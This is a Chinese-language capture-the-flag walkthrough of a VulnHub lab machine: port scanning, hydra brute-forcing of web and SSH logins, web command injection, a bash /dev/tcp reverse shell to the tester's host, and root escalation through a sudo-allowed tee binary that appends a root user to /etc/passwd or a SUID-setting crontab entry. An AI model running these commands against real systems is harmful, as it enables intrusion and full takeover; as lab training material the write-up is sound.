VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。
文章较臃长,记录了不断测试并发现利用的过程。
靶机:
该靶机设定Web登录界面的弱口令漏洞,以及站点存在命令执行,和sudo的不安全配置问题。
环境:
流程:
arp-scan 主机发现
Nmap端口服务扫描,操作系统识别
nmap -sS -Pn -T4 -A 192.168.11.27
Web路径扫描,只扫到一个主页
Web指纹识别,没有有用信息。
经过信息搜集,大只得到以下内容:
主机:
Web路径:
对ssh服务进行弱口令爆破没有成功后,将重点转向了Web站点。
Web页面只有一个登录框,使用hydra爆破,当然也可以使用BurpSuit,本次我是用hydra的Web表单提交爆破,命令如下:
hydra -L ./adminUser.txt -P ./adminPsd.txt -vV -t 10 -f 192.168.11.27 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"
参数解释:
不得不吐槽爆破这一环节了,有时候真是肉包子打狗,使用小字典吧有害怕漏了东西,使用大字典吧又费时间,还不一定能爆出,不爆破吧,又不甘心,难搞啊。
言归正传,登录之后页面只有一个Commend的选项
点击后有三个选项,都是执行相应命令,并输出执行结果,比如List Files
既然这样那就可以抓包看一下,此处执行的是命令还是执行写好的命令对应的编号,如果执行的命令,那就可能存在命令执行漏洞。
使用BP抓包,发现果然执行的是命令
试了这三个选项外其他的命令也可以,尝试能否cat passwd
文件,发现也可以
ok,既然可以命令执行,那么自然想到反弹shell,使用以下语句:
echo "bash -i >& /dev/tcp/192.168.11.28/8888 0>&1" | bash
但是直接输入原语句会有特殊符号解析问题,因此需要进行url编码,使用Decoder模块编码,然后建立反弹shell,即可成功连接
连接成功但是不是root权限,需要提权,提权步骤后边再写。
之前发现home路径下该用户还有其他文件,有一个backups
备份文件很是可疑,看一下是否有信息泄漏
果然发现了端倪,有一个old-passwords.bak
的文件,内容是一些密码,可能用户密码就在其中
系统当前连同 root 总共有4个用户
那么就可以利用得到的密码文件以及四个用户名去爆破ssh服务了,创建用户名和密码文件并填入相应内容,使用hydra爆破
hydra -L ./uname.txt -P ./pword.txt -t4 -vV 192.168.11.27 ssh
嚯!找到了:jim :jibril04
,真滴贼,正确的密码是最后一个,总共给了250多个
搜一下有SUID权限的命令,发现了一个可以文件:test.sh
查看内容是执行几句代码,并且可以成功执行
看一下该用户对该文件的权限,妈耶,果然是一个线索点,居然对该文件有写权限,那就很可怕了,盲猜想要执行任何命令都可以写入该文件,就会以root权限执行。
试着写入一个反弹shell,看看是不是root权限
但是发现建立的连接并不是root权限,大大的疑惑
一定是打开方式有问题,重新写一个命令试一试,写了个id,发现执行后还是以当前用户执行。
哎呦,睡了一觉起来怎么在SUID里找不到这个文件了???
索性在自己的机器上试一下能否提权,输入id后发现是不可以的,还是以执行文件的用户权限来执行该命令
所以这条线断了,不可以提权,另辟蹊径吧。
现在要做的就是登录提权了,连接ssh服务,当前用户时jim,无root权限
查找当前用户所有的可写文件,看看是否有提权线索,发现了一个jim 的 mail
打开是一封charles写给jim的邮件,说是让jim保管他的密码,给出了密码,切换用户看看有没有什么好玩的东西
暂时没有发现什么线索,索性使用脏牛提权试一试,但未能成功。
在查看用户权限时发现有一个teehee文件可以无密码使用sudo,而且是root权限
查看文件帮助得知, -a
参数可以向指定文件添加内容
查询得知有两种思路:
1、新建用户
使用以下命令新建一个root权限用户abc
:
echo "abc::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
向/etc/crontab文件写入一个定时任务,当到时间时会自动执行,并且将该任务设定为执行拥有4777文件属性的/bin/sh
文件,含义如下:
1、文件属性777表示的是读写执行,不用多说,4代表拥有SUID权限,何为SUID权限?
SUID(Set UID)权限是指当文件(指令)拥有该权限时,执行该文件的用户就会拥有文件拥有者的权限。(这也就解释了之前发现的test.sh不可以提权的问题,因为文件属于非root用户)
2、/bin/sh是属于root用户的,但是没有SUID权限怎么提权呢?
可以利用teehee的sudo向定时任务中写入一句修改/bin/sh属性为4777(添加SUID)的命令,执行/bin/sh即可拿到root权限
先查看/bin/sh
文件属性,所属用户时root,此时还没有SUID权限
看看定时任务文件 /etc/crontab
的内容格式并搜索得知,在添加定时任务时将时间设定为 *
即可使得任务每分钟触发一次。
命令如下:
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
查看定时任务文件,已经存在
再次查看/bin/sh
属性,发现已经拥有SUID
OK,直接使用/bin/sh
开启一个新的shell环境,查看用户发现已经是root
至此。
整体打靶流程:
知识点:
sudo -l
命令查看当前用户的权限,或许有意外收获,比如本次的sudo无密码使用权限。find / -type f -perm -u=s 2>/dev/null
查询得知可以使用SUID提权的命令有以下几个:
Nmap、Vim、find、Bash、More、Less、Nano、cp
具体见该博客:https://www.jianshu.com/p/0c22c450f971